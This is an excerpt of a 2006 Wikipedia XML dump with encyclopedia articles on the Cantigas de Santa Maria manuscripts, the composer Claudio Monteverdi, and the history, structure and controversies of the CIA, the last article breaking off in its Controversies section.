  <page>
    <title>Cantigas de Santa Maria</title>
    <id>6225</id>
    <revision>
      <id>39647527</id>
      <timestamp>2006-02-14T22:38:36Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: gl</comment>
      <text xml:space="preserve">[[Image:CantigasDeSantaMariaPanPipes.jpg|thumb|200px|An illustration from the E codex of the Cantigas de Santa Maria.]]
The '''''Cantigas de Santa Maria''''' (Songs to the Virgin Mary) are manuscripts were written in [[Galician]]-[[Portuguese language|Portuguese]], with music notation, during the reign of [[Alfonso X of Castile|Alfonso X]] ''El Sabio'' (1221-1284) and are one of the largest collections of monophonic (solo) songs from the middle ages. All of the songs at least mention the [[Mary, the mother of Jesus|Virgin Mary]], and every 10th is a religious hymn. Some of the manuscripts containing this music also contain color illuminations of pairs of musicians, playing a wide variety of [[musical instrument|instruments]].

The Cantigas are written in [[Galician]]-[[Portuguese language|Portuguese]], the lyrical language of [[Castile]] at the time. A complete transcription is available, as is a recent English translation. 

The Cantigas are composed of 420 poems.  356 of these are in a narrative format relating to Virgin Mary miracles; the rest of them, except an introduction and two prologs, are of ''lore'' or involve Marian festivities.

The authors are unknown, even if several studies indicate that Galician poet [[Airas Nunes]] might well have been the author of a large part of them. The King Alfonso X &amp;mdash; named as Affonso in the Cantigas &amp;mdash; is also believed to be an author of some of them as he refers himself in first person.

The metrics are extraordinarily diverse: 280 different formats for the 420 Cantigas. The most common are the ''[[virelai]]'' and the ''[[rondeau]]''. The length of the verses varies between two and 24  syllables.

The music is written in notation which is similar to the notation used for chant, but also contains some information about the length of the notes. Several transcriptions exist.

The narrative voice in many of the songs describes an erotic relationship, in the troubador fashion, with the Divine.

The Cantigas are frequently recorded and performed by [[Early Music]] groups, and quite a few CDs featuring music from the Cantigas are available.

Three codices (copies) of the Cantigas are preserved.  They are known as the E Codex, the T Codex, and the Florencia manuscript.  The E Codex &amp;mdash; from [[El Escorial]], and originally from the royal court of [[Seville]], is in two volumes and is the largest collection of the Cantigas; it is richly illuminated in a Gothic hand, containing no less than 1262 carefully detailed miniatures, and has been dated to [[1280]]-[[1283]].  The T Codex, from [[Toledo, Spain|Toledo]], is considered to be a copy of the earliest redaction of the music, and was copied in the 14th century.  The [[Florence]] manuscript has 109 of the cantigas but contains no music, only empty staves; however it is richly illuminated.

== See also ==
* [[Llibre Vermell de Montserrat]]

== References ==
* ''The Songs of Holy Mary by Alfonso X, the Wise: A Translation of the Cantigas de Santa Maria.'' Translated by Kathleen Kulp-Hill. Arizona Center for Medieval and Renaissance Studies, Tempe 2000. ISBN 086698-213-2

== External links ==
* http://www.pbm.com/~lindahl/cantigas/ (facsimile, illuminations, links to transcriptions)
* http://www.falsobordone.com/eng_index.htm (Swedish early music group, four songs of their cantigas-CD are downloadable) 

[[Category:Illuminated manuscripts]]
[[Category:Medieval music manuscript sources]]
[[Category:Galician language]]

[[es:Cantigas de Santa María]]
[[fr:Cantigas de Santa Maria]]
[[gl:Cantigas de Santa María]]</text>
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  </page>
  <page>
    <title>Claudio Monteverdi</title>
    <id>6226</id>
    <revision>
      <id>42055072</id>
      <timestamp>2006-03-03T14:16:13Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* Life and works */  dab. Catholic</comment>
      <text xml:space="preserve">[[Image:Claudio_Monteverdi.jpg|thumb|300px|Portrait of Claudio Monteverdi in Venice, 1640, by [[Bernardo Strozzi]].]] 
'''Claudio Monteverdi''' ([[May 15]], [[1567]] (baptised) &amp;ndash; [[November 29]], [[1643]]) was an [[Italy|Italian]] [[composer]], [[violin]]ist and [[singer]].

His work marks the transition from [[Renaissance music|Renaissance]] to [[Baroque music]].  During his long life he produced work that can be classified in both categories, and he was one of the most significant revolutionaries that brought about the change in style.  Monteverdi wrote the earliest dramatically viable [[opera]], ''[[Orfeo]]'', and was fortunate enough to enjoy fame during his lifetime.

==Life and works== 
He was born in [[Cremona]] in northern Italy.  The name Monteverdi means 'green mountain' in Italian.  In childhood he studied with [[Marc Antonio Ingegneri]], who was ''maestro di cappella'' at the cathedral in Cremona.  Since there is no record of him singing in the cathedral choir, the music lessons must have been private.  Monteverdi produced his first music for publication&amp;mdash;some [[motet]]s and sacred [[madrigal (music)|madrigal]]s&amp;mdash;in only 1582 and 1583, so he must have been something of a child prodigy. In 1587 he produced his first book of secular madrigals, and shortly thereafter began to look for work outside of his native town.

In 1590 Monteverdi began working at the court of [[Vincenzo I of Gonzaga]] in [[Mantua]] as a vocalist and viol player, and by 1602 he had become [[conducting|conductor]] there. Until his fortieth birthday he mainly worked on [[Madrigal (music)|madrigal]]s, composing nine books of them in all. The ''Quinto Libro'', published in 1605, was at the heart of the controversy between Monteverdi and [[Giovanni Artusi]], where the latter attacked the &quot;crudities&quot; and &quot;license&quot; of the modern style of composing, centering his attacks on madrigals (including ''Cruda Amarilli'', see Media, below) from the fourth book. Monteverdi made his reply in the introduction to the fifth book, with a proposal of the division of musical practice into two streams: what he called ''prima prattica'', and ''seconda prattica'': ''prima prattica'' being the previous [[polyphony|polyphonic]] ideal of the [[sixteenth century]], with flowing strict [[counterpoint]], prepared [[Consonance and dissonance|dissonance]], and equality of voices; and ''seconda prattica'' using much freer counterpoint with an increasing hierarchy of voices, emphasising [[soprano]] and [[basso|bass]]. This represents an unconscious move towards the new style of [[monody]]. The introduction of a [[figured bass|continuo]] instrumental part in many of the madrigals of the book is a further self-consciously modern feature. In addition, the fifth book showed the beginnings of conscious functional [[tonality]]. The ''Ottavo Libro'', published in 1638, includes the so-called ''Madrigali dei guerrieri ed amorosi'' which many consider to be the perfection of the madrigal form. As a whole, the first eight books of madrigals show the enormous development from the [[Renaissance music|Renaissance]] [[polyphony|polyphonic]] music to the [[monody|monodic]] style which is typical of [[Baroque]] music. The ninth book of madrigals, published posthumously in 1651, contains lighter pieces, such as [[canzonetta]]s, probably composed throughout his lifetime and representing both styles.

From monody, with its emphasis on clear melodic lines, intelligible text and placid accompanying music, it was a logical step to begin composing [[opera]], especially for a dramatically inclined composer who also loved grand effect. In 1607 he composed his first opera, ''Orfeo''. It was common at that time for composers to create works on demand for special occasions, and this piece was meant to add some lustre to the annual [[carnival]] of [[Mantua]]. Indeed it was a great success, fitting very well in the spirit of the times. ''Orfeo'' is marked by its dramatic power and lively [[orchestration]]. Indeed, this piece is arguably the first example of a composer assigning specific instruments to parts, and it is also one of the first large compositions in which the exact instrumentation of the premiere has come down to us. The plot is described in vivid musical pictures and the melodies are linear and clear. With this opera Monteverdi had created an entirely new style of music, the ''dramma per musica'' (musical drama) as it was called. Monteverdi's operas are usually labelled &quot;pre-[[baroque]]&quot; or &quot;early-baroque&quot;.

It is arguable that Monteverdi's greatest work remains the ''[[Vespro della Beata Vergine 1610 (Monteverdi)|Vespro della Beata Vergine 1610]]'' (The [[Vespers]] of the [[Blessed Virgin Mary|Blessed Virgin]] 1610). This is one of his few sacred works of any scale, but it remains to this day one of the greatest examples of devotional music, matched only by works such as [[Palestrina]]'s ''[[Missa Papae Marcelli]]'', [[George Frideric Handel|Handel]]'s ''[[The Messiah|Messiah]]'', and [[J. S. Bach]]'s ''[[St. Matthew Passion (Bach)|St. Matthew Passion]]''. The scope of the work as a whole is breathtaking - each part (there are twenty-five in total) is fully developed in both a musical and dramatic sense - the instrumental textures are used to precise dramatic and emotional effect, in a way that had not been seen in before.

The Vespers of 1610 are also one of the best examples of early ''repetition and contrast'', with many of the parts having a clear ''[[ritornello]]''. This was something entirely new to the public of the time, and was an immediate hit.

In 1613 Monteverdi was appointed as conductor at [[San Marco di Venezia|San Marco]] in [[Venice]], where he soon restored the musical standards of both the choir and instrumentalists, which had withered under the financial mismanagement of his predecessor, [[Giulio Cesare Martinengo]]. The managers of the basilica were relieved to have such a distinguished musician to take the post, where music had been in decline since the death of [[Giovanni Croce]] in 1609.

While in Venice, Monteverdi also finished his sixth, seventh and eighth books of madrigals. The eighth is the largest, containing works written over a thirty-year period, including the dramatic scene ''Tancredi e Clorinda'' (1624), in which the orchestra and voices form two separate entities; they act as counterparts. Most likely Monteverdi was inspired to try this arrangement because of the two opposite balconies in San Marco, which had inspired much similar music from composers there, such as [[Giovanni Gabrieli|Gabrieli]]. What made this composition also stand out is the first-time use of string ''[[tremolo]]'' (fast repetition of the same tone) and ''[[pizzicato]]'' (plucking strings with fingers) for special effect in dramatic scenes.

During the last years of his life Monteverdi became ill, but it did not keep him from composing his two last masterpieces, both operas: ''[[Il ritorno d'Ulisse in patria]]'' (''The Return of Ulysses'', 1641), and the historic opera ''[[L'incoronazione di Poppea]]'' (''The Coronation of Poppea'', 1642), based on the life of the [[Roman empire|Roman]] [[emperor]] [[Nero]]. ''L'incoronazione'' especially is considered a culminating point of Monteverdi's work. It contains tragic, romantic, as well as comic scenes (a new development in opera), more realistic portrayal of the characters, and warmer [[melody|melodies]] than had previously been heard. It requires a smaller orchestra, and has a less prominent role for the choir.  

Monteverdi was ordained a [[Roman Catholic Church|Catholic]] priest in 1633. He died in [[Venice]].

==Compositions==
Monteverdi composed at least eighteen operas, of which only ''Orfeo'', ''L'incoronazione'', ''Il ritorno'', and the famous [[aria]] &quot;Lamento&quot; from his second opera ''l'Arianna'' have survived:
*''Lamento d'Arianna''
*''[[Orfeo]]''
*''[[Il ritorno d'Ulisse in patria]]''
*''[[L'incoronazione di Poppea]]''

Other works include secular and sacred compositions:
*''[[Combatimento di Tancredi e Clorinda]]''
*''Lauda Jerusalem Dominium''
*''Gira il nemico insidioso Amore''
*''La finta pazza Licori''
*''[[Vespro della Beata Vergine 1610 (Monteverdi)|Vespro della Beata Vergine]]''

'''See also''': 
*[[:Category:Compositions by Claudio Monteverdi]]
*[[:Category:Operas by Claudio Monteverdi]]

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Monteverdi-cor mio mentre vi miro.ogg|title=Cor Mio Mentre Vi Miro|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Monteverdi - cruda amarilli.ogg|title=Cruda Amarilli|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Monteverdi - non si levav'ancor.ogg|title=Non Si Levav'ancor|description=|format=[[Ogg]]}}
{{multi-listen end}}

==External links==
*{{ChoralWiki}}
*{{IckingArchive|idx=Monteverdi|name=Claudio Monteverdi}}

== Further reading ==
* [[Manfred Bukofzer]], ''Music in the Baroque Era''.  New York, W.W. Norton &amp; Co., 1947.  ISBN 0393097455
* Denis Arnold, ''Monteverdi.''  London, J.M. Dent &amp; Sons Ltd, 1975.  ISBN 0460031554
* Leo Schrade, ''Monteverdi''. London, Victor Gollancz Ltd., 1979. ISBN 0575014725
* Tim Carter, ''Music in Late Renaissance and Early Baroque Italy''. Amadeus Press, 1992. ISBN 0931340535

[[Category:1567 births|Monteverdi]]
[[Category:1643 deaths|Monteverdi]]
[[Category:Opera composers|Monteverdi]]
[[Category:Baroque composers|Monteverdi]]
[[Category:Italian composers|Monteverdi]]
[[Category:Natives of Cremona|Monteverdi]]

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  </page>
  <page>
    <title>Central Intelligence Agency</title>
    <id>6227</id>
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      <id>42155265</id>
      <timestamp>2006-03-04T04:35:57Z</timestamp>
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      <text xml:space="preserve">{{cleanup-date|January 2006}}
[[Image:Central Intelligence Agency logo.png|thumb|right|The CIA's seal features an eagle atop a sixteen-point compass.]]
{{redirect|CIA}}
The '''Central Intelligence Agency''' ('''CIA''') is an [[United States|American]] [[intelligence agency]], responsible for obtaining and analyzing information about foreign [[government]]s, [[corporation]]s, and individuals, and reporting such information to the various branches of the [[United States Government|U.S. Government]]. A third function of the CIA is to act as the &quot;hidden hand&quot; of the government for engaging in &quot;covert actions&quot; at &quot;the direction of the President.&quot;[http://www.cia.gov/cia/information/mission.html] It is this last function that has caused most of the controversies regarding the CIA over the years.

Its headquarters are in the community of [[Langley, Virginia|Langley]] in the [[McLean, Virginia|McLean]] [[Census-designated place|CDP]] of [[Fairfax County, Virginia|Fairfax County]], [[Virginia]], across the [[Potomac River]] from [[Washington, D.C.]]. The CIA is part of the American [[Intelligence Community]], which is now led by the [[United States Director of National Intelligence|Director of National Intelligence]] (DNI). The current director of the CIA is [[Porter J. Goss]]. The roles and functions of the CIA are roughly equivalent to those of the [[United Kingdom|British]] [[MI6]], the [[Australian Secret Intelligence Service]], or the [[Israel|Israeli]] [[Mossad]]. 
{{portal}}
==Organization==
===History=== 
[[Image:2430_E_Street.png|thumb|144px|right|Original sign with seal from the CIA's first building on E Street in Washington, DC]]
The Agency, created in [[1947]] by the [[National Security Act of 1947]] signed by President [[Harry S. Truman]], is a descendant of the [[Office of Strategic Services]] (OSS) of [[World War II]].  The OSS was dissolved in October 1945 but [[William J. Donovan]] (aka Wild Bill to both his friends and enemies), the creator of the OSS, submitted a proposal to President [[Franklin D. Roosevelt]] in 1944 calling for a new organization having direct Presidential supervision, &quot;which will procure intelligence both by overt and [[covert]] methods and will at the same time provide intelligence guidance, determine national intelligence objectives, and correlate the intelligence material collected by all government agencies.&quot; Despite strong opposition from the military, the [[State Department]], and the [[FBI]], Truman established the Central Intelligence Group in January 1946. Later under the [[National Security Act of 1947]] (which became effective on [[September 18]], [[1947]]) the [[United States National Security Council|National Security Council]] and the Central Intelligence Agency were established.

In 1949, the [[Central Intelligence Agency Act]] (also called &quot;Public Law 110&quot;) was passed, permitting the agency to use confidential, fiscal, and administrative procedures and exempting it from many of the usual limitations on the use of federal funds. The act also exempted the CIA from having to disclose its &quot;organization, functions, officials, titles, salaries, or numbers of personnel employed.&quot; It also created a program called &quot;PL-110&quot; to handle defectors and other &quot;essential aliens&quot; outside normal immigration procedures, as well as give those persons cover stories and economic support. [http://www.fas.org/sgp/jud/tenetvdoe-petresp.pdf] 

During the first years of its existence, other branches of government did not exercise much control over the Agency. This was often justified by a desire to defeat and match the activities of the [[KGB]] across the globe, a task that many believed could only be accomplished through an equally ungentlemanly approach. As a result, few in government inquired too closely into CIA activity. The rapid expansion of the Agency and a developing sense of independence under DCI [[Allen Dulles]] added to this trend.

Things came to a head in the early 1970s, around the time of the [[Watergate]] affair.  One dominant feature of political life during this period were the attempts of Congress to assert its power of oversight over the executive branch of government.  Revelations about past CIA activities, such as assassination attempts of foreign leaders and illegal domestic spying, provided the opportunity to carry out this process in the sphere of intelligence operations. Hastening the Agency's fall from grace were the involvement of ex-CIA agents in the Watergate break-in and President Nixon's subsequent attempts to use the CIA to stop the FBI investigation of Watergate. In the famous &quot;smoking gun&quot; tape which led to Nixon's resignation, Nixon ordered his chief of staff Haldeman to tell the CIA that further investigation of Watergate would &quot;open the whole can of worms&quot; about the [[Bay of Pigs Invasion|Bay Of Pigs]] operation, and therefore that the CIA should tell the FBI to stop investigating Watergate because of &quot;national security.&quot; 

DCI [[James R. Schlesinger]] had commissioned a series of reports on past CIA wrongdoing. These reports, known euphemistically as &quot;the Family Jewels&quot;, were kept close to the Agency's chest until an article by [[Seymour Hersh]] in the ''New York Times'' broke the news that the CIA had been involved in the assassination of foreign leaders and kept files on some seven thousand American citizens involved in the peace movement ([[Operation CHAOS]]).  Congress investigated the CIA in the Senate through the Church committee, named after Chairman Frank Church (D-Idaho) and in the House through the Pike committee, named after Chairman Otis Pike (D-N.Y.); and these investigations led to further embarrassing disclosures.  Around the Christmas of 1974/5, another blow was struck by Congress when they blocked covert intervention in [[Angola]].

The CIA was subsequently prohibited from assassinating foreign leaders. Further, the prohibition against domestic spying, which had always been prohibited by the CIA charter, was again to be enforced, with the FBI having sole responsibility for domestic investigation of US citizens . 

[[Image:CIA New HQ Entrance.jpg|thumb|300px|The entrance of the new CIA Headquarters.]]
Today, the Central Intelligence Agency reports to U.S. [[Congress of the United States|Congressional]] committees but also answers to the [[President of the United States|President]] directly.  The [[United States National Security Advisor|National Security Advisor]] is a permanent [[cabinet]] member responsible for briefing the President on pertinent information collected from all U.S. intelligence agencies including the [[National Security Agency]], the [[Drug Enforcement Agency]], and others. Many of the post-Watergate restrictions on the CIA have been removed after the 9/11 attacks. 

Some critics have charged that this violates the requirement in the [[U.S. Constitution]] that the [[U.S. federal budget|federal budget]] be openly published. However, the U.S Congress and President Harry Truman approved  arrangements in 1949 that CIA and national intelligence funding could be hidden in the overall U.S federal budget.

In 1988, President [[George H. W. Bush]] became the first former head of the CIA to be elected [[President of the United States]].

On [[January 25]], [[1993]], [[Mir Amir Kansi]] murdered 2 people and injured 3 others in their cars in front of CIA headquarters in Langley. Kansi was later captured and was executed in 2002.

Previously, the Director of Central Intelligence (DCI) oversaw the Intelligence Community and served as the principal intelligence adviser to the president, in addition to serving as head of the Central Intelligence Agency. The DCI's title is now Director of the Central Intelligence Agency (DCIA), and the Director serves  as head of the CIA.

Today, all 15 agencies of the [[Intelligence Community]] are under the [[Director of National Intelligence]], who currently is former ambassador to [[Iraq]] [[John Negroponte]].

===CIA seal===
The compass, or star, as some call it, has sixteen points. These points represents the CIA's search for intelligence data all over the world outside the United States and bringing it all back home to headquarters in Virginia for analysis, reporting, and being passed on to policy makers. The compass rests upon a shield which is a symbol for defense. The intelligence gathered is meant to be used in defense of the United States of America.

===Structure===
The current Director of the Central Intelligence Agency is [[Porter J. Goss]].

The Deputy Director of the Central Intelligence Agency is Vice Admiral Albert M. Calland[http://www.navy.mil/navydata/bios/bio.asp?bioID=65]. The DD/CIA assists the Director in his duties as head of the CIA and exercises the powers of the Director when the Director’s position is vacant or in the Director’s absence or disability.

The Executive Director of the Central Intelligence Agency is [[Kyle Foggo|Kyle &quot;Dusty&quot; Foggo]] with responsibility for the day to day management.

The Directorate of Intelligence[http://www.cia.gov/cia/di/index.html], the analytical branch of the CIA, is responsible for the production and dissemination of all-source intelligence analysis on key foreign issues. The current Deputy Director for Intelligence is John A. Kringen[http://www.cia.gov/cia/information/kringen.html].

The [[National Clandestine Service]], a semi-independent service which was formerly the Directorate of Operations, is responsible for the clandestine collection of foreign intelligence and [[covert action]]. The current Director of the NCS is under cover.

The Directorate of Science &amp; Technology[http://www.cia.gov/cia/dst/home.html] creates and applies innovative technology in support of the intelligence collection mission. The current Deputy Director for Science &amp; Technology is Stephanie L. O’Sullivan.

The Directorate of Support provides the mission critical elements of the Agency's support foundation: people, security, information, property, and financial operations. The current Deputy Director for Support is Stephanie Danes Smith[http://www.cia.gov/cia/information/smith.html].

The Center for the Study of Intelligence[http://www.cia.gov/csi/index.html] maintains the Agency's historical materials and promotes the study of intelligence as a legitimate and serious discipline. The current Director is Paul Johnson. 

The Office of the General Counsel[http://www.cia.gov/ogc/index.htm]advises the Director of the Central Intelligence Agency on all legal matters relating to his role as CIA director and is the principal source of legal counsel for the CIA.  The current Acting General Counsel is John A. Rizzo.

The Office of Inspector General promotes efficiency, effectiveness, and accountability in the administration of Agency activities. OIG also seeks to prevent and detect fraud, waste, abuse, and mismanagement. The Inspector General is nominated by the President and confirmed by the Senate. The Inspector General, whose activities are independent of those of any other component in the Agency, reports directly to the Director of the Central Intelligence Agency. OIG conducts inspections, investigations, and audits at Headquarters and in the field, and oversees the Agency-wide grievance-handling system. The OIG provides a semiannual report to the Director of the Central Intelligence Agency which the Director is required to submit by law to the Intelligence Committees of Congress within 30 days.  The current Inspector General is John L. Helgerson.

The Office of Public Affairs[http://www.cia.gov/cia/public_affairs/pas.html] advises the Director of the Central Intelligence Agency on all media, public policy, and employee communications issues relating to his role as CIA director and is the CIA’s principal communications focal point for the media, the general public and Agency employees. The current Director of Public Affairs is Jennifer Millerwise Dyck[http://www.cia.gov/cia/information/millerwise.html].

====Relationship with other agencies====
The CIA acts as the primary American provider of central intelligence estimates.  It is believed to make use of the surveillance [[satellite]]s of the [[National Reconnaissance Office]] (NRO) and the signal interception capabilities of the [[NSA]], including the [[Echelon]] system, the surveillance aircraft of the various branches of the U.S. armed forces and the analysts of the [[State Department]] and [[Department of Energy]].  At one point, the CIA even operated its own fleet of [[Lockheed U-2|U-2]] surveillance aircraft.  The agency has also operated alongside regular military forces, and also employs a group of clandestine officers with [[paramilitary]] skills in its [[Special Activities Division]]. [[Micheal Spann]], a CIA officer killed in November 2001 during the [[U.S. invasion of Afghanistan]], was one such individual. The CIA also has strong links with other foreign intelligence agencies such as the UK's [[MI6]] and Canada's [[CSIS]].

==== Director of the Central Intelligence Agency ====
The head of the CIA is given the title of the [[Director of the Central Intelligence Agency]] (DCIA).

The Central Intelligence Agency was created in 1947 with the signing of the National Security Act by President [[Harry S. Truman]]. The act also created a Director of Central Intelligence (DCI) to serve as head of the United States intelligence community; act as the principal adviser to the President for intelligence matters related to the national security; and serve as head of the Central Intelligence Agency. The Intelligence Reform and Terrorism Prevention Act of 2004 amended the National Security Act to provide for a [[Director of National Intelligence]] who would assume some of the roles formerly fulfilled by the DCI, with a separate Director of the Central Intelligence Agency.

[[Porter J. Goss]] became the Director of the Central Intelligence Agency on [[April 21]] [[2005]][http://www.cia.gov/cia/information/Goss.html].  He served as Director of Central Intelligence from [[September 24]] [[2004]] until [[April 21]] [[2005]].  Director Goss previously served as head of the [[U.S. House Permanent Select Committee on Intelligence|House Intelligence Committee]] as a representative from [[Florida]].  Director Goss is also a former CIA Operations Officer.

==Historical operations==
See also [[:Category:CIA operations]]
===North America===
In the 1950's and 60's, the CIA ran a mind-control research programme code-named [[Project MKULTRA]].

===Eastern Europe===
In its earliest years the CIA and its predecessor, the [[OSS]], attempted to [[rollback]] communism in eastern Europe by supporting local anti-communist groups; none of these attempts met with much success. Attempts to instigate revolutions in the Ukraine and Belarus by infiltrating anti-Communist spies and saboteurs met with total failure. In [[Poland]] the CIA spent several years sending money and equipment to an organization invented and run by Polish intelligence. It was more successful in its efforts to limit Communist influence in [[France]] and [[Italy]], notably in the [[1948 Italian election]]. After WWII, the CIA was instrumental in setting up the [[Gladio network]], a secret government network of organizations in Italy and in other parts of Western Europe. In the 1960s-1980s, Gladio operatives, including CIA moles, implemented a series of &quot;false flag&quot; terrorist actions in Italy that were blamed on the &quot;[[Red Brigades]]&quot; and other Left groups in an attempt to discredit the Italian Left.

It has now been firmly established (see references below) that the [[Office of Strategic Services|OSS]] actively recruited and protected many high ranking [[Nazi]] officers immediately following [[World War II]], a policy that was carried on by the CIA.  These included, the CIA now admits, the notorious &quot;butcher of Lyon&quot; [[Klaus Barbie]], Hitler's Chief of Soviet Intelligence General [[Reinhard Gehlen]], and numerous less-renowned [[Gestapo]] officers.  General Gehlen, due to his extensive (if dubious) intelligence assets within the [[Soviet Union]], was allowed to keep his spy-network intact after the war in the service of the [[United States]].  The Gehlen organization soon became one of America's chief sources of [[military intelligence|Intelligence]] on the [[Soviet Union]] during the [[cold war]], and formed the basis for what would later become the German intelligence agency the [[Bundesnachrichtendienst|BND]]!

===Third World===
With Europe stabilizing along the line of the [[Iron Curtain]], the CIA then moved in the 1950s to try to limit the spread of Soviet influence elsewhere around the globe, especially in the [[Third World]].  With the encouragement of DCI [[Allen Dulles]], clandestine operations quickly came to dominate the organization. Initially they proved very successful: in [[Iran]] in 1953 the CIA successfully overthrew the democratically elected [[Mossadegh]] government after it attempted to retain more of the country's oil revenues and remove perceived communist influence from the strong Iranian Communist Party (''see [[Operation Ajax]]'').  In [[Guatemala]] in 1954 (''see [[Operation PBSUCCESS]]''), CIA operations, with relatively little funding, orchestrated the overthrow of these democratically elected governments and replaced them with non-democratic and pro-American dictatorships. However, the instability created in Guatemala resulted in a 30-year civil war which caused over 100,000 fatalities; and in Iran, the Shah's dictatorship, which aggressively eliminated all political opposition, would cause the rise of a fundamentalist Islamic government after the Shah was eventually overthrown in the 1979 Iranian revolution.  However, some claim that without the initial involvement of the US the Soviet Union would have been able to influence Iran and others enough to spread their communism and thus creating a much worse result than radical Islam-- the Cold War turned hot, what would have been World War III.{{fact}}

====Indonesia====
In 1958, a CIA-backed coup attempt was made on Indonesia's President [[Sukarno]], while other elements of the U.S. government backed Sukarno.{{fact}} The operation failed when a CIA operative was captured after his plane was shot down, and was found to have on his possession his actual identification as a CIA agent. {{fact}}

In 1965 [[Sukarno]] was ousted in a [[coup d'état]] led by [[Suharto]]. As many as 5,000 names of communists and leftists were furnished to the Indonesian army by the CIA, and the Americans later checked off the names of those who had been killed or captured.&quot;{{ref|5000}} One of those Kadane interviewed was Robert J Martens, a political officer in the US embassy in Jakarta. &quot;It was a big help to the army&quot;, he said. &quot;They probably killed a lot of people and I probably have a lot of blood on my hands, but that's not all bad.&quot;{{ref|blood}} In little more than a month, an estimated 500,000 executions took place, often directed at Indonesia's Chinese minority. In a 1968 report, the CIA estimated there had been 250,000 deaths, and called the carnage &quot;one of the worst mass murders of the 20th century.&quot;{{ref|1968}}

The CIA secretly supplied Suharto's troops with a field communications network. Flown in at night by US Air Force planes from the Philippines, this was state-of-the-art equipment, whose frequencies were known to the CIA and the National Security Agency. Not only did this technology allow Suharto's generals to coordinate the killings more efficiently, it also meant that the highest echelons of the US administration could listen in. Suharto was able to seal off large areas of the country.{{ref|1965}}

====Cuba====
The limitations of large scale covert action became readily apparent during the CIA organized [[Bay of Pigs Invasion]] of [[Cuba]] in 1961.  The failure embarrassed the CIA and the United States on the world stage, as Cuban dictator [[Fidel Castro]] used the botched invasion to consolidate power and strengthen ties with the Soviet Union. However, the CIA attempted unsuccessfully several times to assassinate the Cuban head of state as part of its [[Operation Mongoose]].

====CIA operations after Cuba====
CIA operations became less ambitious after the Bay of Pigs, and shifted to being closely linked to aiding the U.S. military operation in [[Vietnam]].  Between 1962 and 1975, the CIA organized a [[Laos|Laotian]] group known as the [[Secret Army]] and ran a fleet of aircraft known as [[Air America]] to take part in the [[Secret War]] in Laos, part of the [[Vietnam War]].

====Chile====
After the election of Marxist President [[Salvador Allende]] in [[1970]] the CIA covertly worked to prevent him from taking office through bribery of Chilean officials, which failed. Afterwards, an attempted coup was plotted by the CIA with anti-Allende factions, but it eventually was forced to abort the project. (See [[Project FUBELT]]}

Three years later, [[Chilean coup of 1973|Allende was overthrown]] by military leader [[Augusto Pinochet]]. Allegations have been made that the CIA was behind the coup, although none have been completely confirmed or contradicted. The [[Church Committee]], which investigated U.S. involvement in Chile during this period, stated that &quot;There is no hard evidence of direct U.S. assistance to the coup, despite frequent allegations of such aid.[http://foia.state.gov/Reports/ChurchReport.asp#E.%20Covert%20Action%20During%20the%20Allende%20Years,%201970-1973]&quot; In 2000 the CIA also [http://www.cia.gov/cia/reports/chile/ denied] that it assisted the coup.

The Church Report also showed that the CIA played a prominent role in Chile after the 1973 coup:  ''The goal of covert action immediately following the coup was to assist the Junta in gaining a more positive image, both at home and abroad, and to maintain access to the command levels of the Chilean government. Another goal, achieved in part through work done at the opposition research organization before the coup, was to help the new government organize and implement new policies. Project files record that. CIA collaborators were involved in preparing an initial overall economic plan which has served as the basis for the Junta's most important economic decisions.''

====Nicaragua and cocaine conspiracy====
In the early [[1980s]], after the overthrow of the [[Anastasio Somoza Debayle|Somoza]] dictatorship in [[Nicaragua]], the CIA funded and armed the [[Contras]], forces opposed to the leftist and [[Marxist]] [[Sandinista]] junta. Congress passed the [[Boland Amendment]] which forbade any U.S. funding of the Contras. The Reagan administration violated the Boland Amendment by using profits from the sale of arms to Iran to fund the Contras. Part of the CIA campaign to overthrow the Nicaragua government included mining Nicaragua's harbors, resulting in the sinking of a merchant ship.  This resulted in a [[World Court]] decision in the case [[Nicaragua v. United States]] ordering the United States to pay Nicaragua reparations, although the U.S. ignored the verdict of the World Court. In 1993, with support of the U.S. government, [[Colombia]] created the Search Block to locate and kill [[Pablo Escobar]].

In 1996, journalist [[Gary Webb]] wrote a series of exposes for the ''[[San Jose Mercury News]]'', entitled &quot;Dark Alliance&quot;, in which he uncovered the use of CIA aircraft, which has ferried arms to the Contras, to ship [[cocaine]] to the United States during the return flights. Thus, [[Central American]] narcotics traffickers could import [[cocaine]] to U.S. cities in the [[1980s]] without the interference of normal law enforcement agencies. This led, in part, to the [[crack cocaine]] epidemic, especially in poor neighborhoods of Los Angeles, and the CIA intervened to prevent the prosecution of drug dealers who were helping to fund the Contras. Government pressure forced the [[San Jose Mercury News]] to retract Webb's conclusions (without actually retracting any of the facts that Webb uncovered,) and Webb was prevented from conducting any more investigative reporting. Webb was transferred to cover non-controversial suburban stories, and was finally forced from his job. (See the book ''Whiteout''.)

==Controversies==
[[Defector]]s such as former agent [[Philip Agee]] have alleged that such CIA covert action is extraordinarily widespread, extending to [[propaganda]] campaigns within countries allied to the United States. The agency has also been accused of participation in the illegal [[Recreational drug use|drug]] trade, notably in [[Laos]], [[Afghanistan]], [[Nicaragua]] and [[Los Angeles, California|Los Angeles]] (see &quot;Drug Trafficking&quot; section, below; &quot;Whiteout&quot; by [[Alexander Cockburn]] and Jeffrey St. Clair). It is known to have attempted [[assassination]]s of foreign leaders, most notably [[Fidel Castro]], though since 1976 a Presidential order has banned such &quot;[[executive action]]s,&quot; except during [[wartime]].

In 1996, the [[U.S. House Permanent Select Committee on Intelligence]] issued a congressional report estimating that the [[clandestine service]] part of the [[intelligence community]] &quot;easily&quot; breaks &quot;extremely serious laws&quot; in countries around the world, 100,000 times every year. [http://www.thememoryhole.org/ciacrimes.htm]

In a briefing held [[September 15]] [[2001]], [[George Tenet]] presented the [[Worldwide Attack Matrix]]:  A &quot;top-secret&quot; document describing covert CIA anti-terror operations in eighty countries in [[Asia]], the [[Middle East]], and [[Africa]]. The actions, underway or being recommended, would range from &quot;routine propaganda to lethal covert action in preparation for military attacks.&quot; The plans, if carried out, &quot;would give the CIA the broadest and most lethal authority in its history.&quot; [http://www.washingtonpost.com/ac2/wp-dyn/A64802-2002Jan30?language=printer]

